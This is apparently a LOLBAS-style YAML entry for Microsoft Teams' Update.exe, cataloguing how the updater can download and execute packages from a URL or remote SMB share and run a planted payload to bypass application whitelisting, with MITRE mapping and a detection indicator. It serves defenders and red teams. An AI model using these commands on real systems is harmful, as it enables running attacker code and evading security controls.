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Rename update.yml to Update.yml

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Oddvar Moe
2020-08-15 00:26:53 +02:00
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---
Name: Update.exe
Description: Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.
Author: 'Oddvar Moe'
Created: '2019-06-26'
Commands:
- Command: Update.exe --download [url to package]
Description: The above binary will go to url and look for RELEASES file and download the nuget package.
Usecase: Download binary
Category: Download
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --update=[url to package]
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
Usecase: Download and execute binary
Category: AWL Bypass
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --update=[url to package]
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
Usecase: Download and execute binary
Category: Execute
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --update=\\remoteserver\payloadFolder
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
Usecase: Download and execute binary
Category: AWL Bypass
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --update=\\remoteserver\payloadFolder
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
Usecase: Download and execute binary
Category: Execute
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --updateRollback=[url to package]
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
Usecase: Download and execute binary
Category: AWL Bypass
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --updateRollback=[url to package]
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package.
Usecase: Download and execute binary
Category: Execute
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --processStart payload.exe --process-start-args "whatever args"
Description: Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.
Usecase: Application Whitelisting Bypass
Category: AWL Bypass
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/wiki/Technique/T1218
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --updateRollback=\\remoteserver\payloadFolder
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
Usecase: Download and execute binary
Category: AWL Bypass
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --updateRollback=\\remoteserver\payloadFolder
Description: The above binary will go to url and look for RELEASES file, download and install the nuget package via SAMBA.
Usecase: Download and execute binary
Category: Execute
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/techniques/T1218/
OperatingSystem: Windows 7 and up with Microsoft Teams installed
- Command: Update.exe --processStart payload.exe --process-start-args "whatever args"
Description: Copy your payload into %userprofile%\AppData\Local\Microsoft\Teams\current\. Then run the command. Update.exe will execute the file you copied.
Usecase: Execute binary
Category: Execute
Privileges: User
MitreID: T1218
MitreLink: https://attack.mitre.org/wiki/Technique/T1218
OperatingSystem: Windows 7 and up with Microsoft Teams installed
Full_Path:
- Path: '%localappdata%\Microsoft\Teams\update.exe'
Code_Sample:
- Code: https://github.com/jreegun/POC-s/tree/master/nuget-squirrel
Detection:
- IOC: Update.exe spawned an unknown process
Resources:
- Link: https://www.youtube.com/watch?v=rOP3hnkj7ls
- Link: https://twitter.com/reegun21/status/1144182772623269889
- Link: https://twitter.com/MrUn1k0d3r/status/1143928885211537408
- Link: https://twitter.com/reegun21/status/1291005287034281990
- Link: http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/
- Link: https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12
- Link: https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56
- Link: https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/microsoft-teams-updater-living-off-the-land/
Acknowledgement:
- Person: Reegun Richard Jayapaul (SpiderLabs, Trustwave)
Handle: '@reegun21'
- Person: Mr.Un1k0d3r
Handle: '@MrUn1k0d3r'
- Person: Adam
Handle: '@Hexacorn'
---